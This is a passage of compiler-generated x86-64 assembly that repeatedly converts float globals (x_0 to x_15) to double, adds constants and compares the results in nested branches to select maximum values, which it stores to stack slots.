pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1573
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L682
.L1573:
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
.L682:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1574
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
jmp .L685
.L1574:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
.L685:
comisd xmm0, xmm1
jbe .L1575
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1576
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L679
.L1576:
movss xmm1, DWORD PTR x_10[rip]
movss xmm0, DWORD PTR .LC14[rip]
addss xmm0, xmm1
jmp .L679
.L1575:
movss xmm0, DWORD PTR x_13[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC29[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1577
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC31[rip]
addss xmm0, xmm1
jmp .L679
.L1577:
movss xmm1, DWORD PTR x_15[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
.L679:
movss DWORD PTR -24[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1578
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L697
.L1578:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
.L697:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_3[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1579
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
jmp .L700
.L1579:
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L700:
comisd xmm0, xmm1
jbe .L1580
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1581
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L706
.L1581:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
jmp .L706
.L1580:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1582
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L706
.L1582:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L706:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC0[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1583
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L712
.L1583:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
.L712:
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC35[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_14[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC1[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1584
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC35[rip]
addsd xmm2, xmm3
jmp .L715
.L1584:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
.L715:
comisd xmm1, xmm2
jbe .L1585
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC0[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1586
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L721
.L1586:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L721
.L1585:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1587
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
jmp .L721
.L1587:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
.L721:
comisd xmm0, xmm1
jbe .L1588
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1589
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L729
.L1589:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
.L729:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_3[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1590
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
jmp .L732
.L1590:
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L732:
comisd xmm0, xmm1
jbe .L1591
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1592
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L742
.L1592:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC36[rip]
addss xmm0, xmm1
jmp .L742
.L1591:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1593
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L742
.L1593:
movss xmm1, DWORD PTR x_3[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L742
.L1588:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1594
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L745
.L1594:
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
.L745:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1595
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
jmp .L748
.L1595:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
.L748:
comisd xmm0, xmm1
jbe .L1596
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1597
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L742
.L1597:
movss xmm1, DWORD PTR x_10[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L742
.L1596:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC35[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1598
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC37[rip]
addss xmm0, xmm1
jmp .L742
.L1598:
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
.L742:
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1599
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L760
.L1599:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
.L760:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_7[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1600
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L763
.L1600:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L763:
comisd xmm0, xmm1
jbe .L1601
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1602
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L769
.L1602:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
jmp .L769
.L1601:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1603
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L769
.L1603:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L769:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC17[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1604
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L775
.L1604:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
.L775:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_13[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC34[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1605
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
jmp .L778
.L1605:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC34[rip]
addsd xmm2, xmm3
.L778:
comisd xmm1, xmm2
jbe .L1606
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC17[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1607
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L784
.L1607:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L784
.L1606:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC34[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1608
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
jmp .L784
.L1608:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
.L784:
comisd xmm0, xmm1
jbe .L1609
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1610
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L792
.L1610:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
.L792:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_7[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1611
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L795
.L1611:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L795:
comisd xmm0, xmm1
jbe .L1612
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1613
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L805
.L1613:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC27[rip]
addss xmm0, xmm1
jmp .L805
.L1612:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1614
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L805
.L1614:
movss xmm1, DWORD PTR x_7[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L805
.L1609:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1615
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L808
.L1615:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
.L808:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC34[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1616
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
jmp .L811
.L1616:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
.L811:
comisd xmm0, xmm1
jbe .L1617
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1618
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L805
.L1618:
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC20[rip]
addss xmm0, xmm1
jmp .L805
.L1617:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1619
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
jmp .L805
.L1619:
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC36[rip]
addss xmm0, xmm1
.L805:
movss DWORD PTR -16[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1620
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L823
.L1620:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L823:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_5[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1621
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
jmp .L826
.L1621:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
.L826:
comisd xmm0, xmm1
jbe .L1622
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1623
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L832
.L1623:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
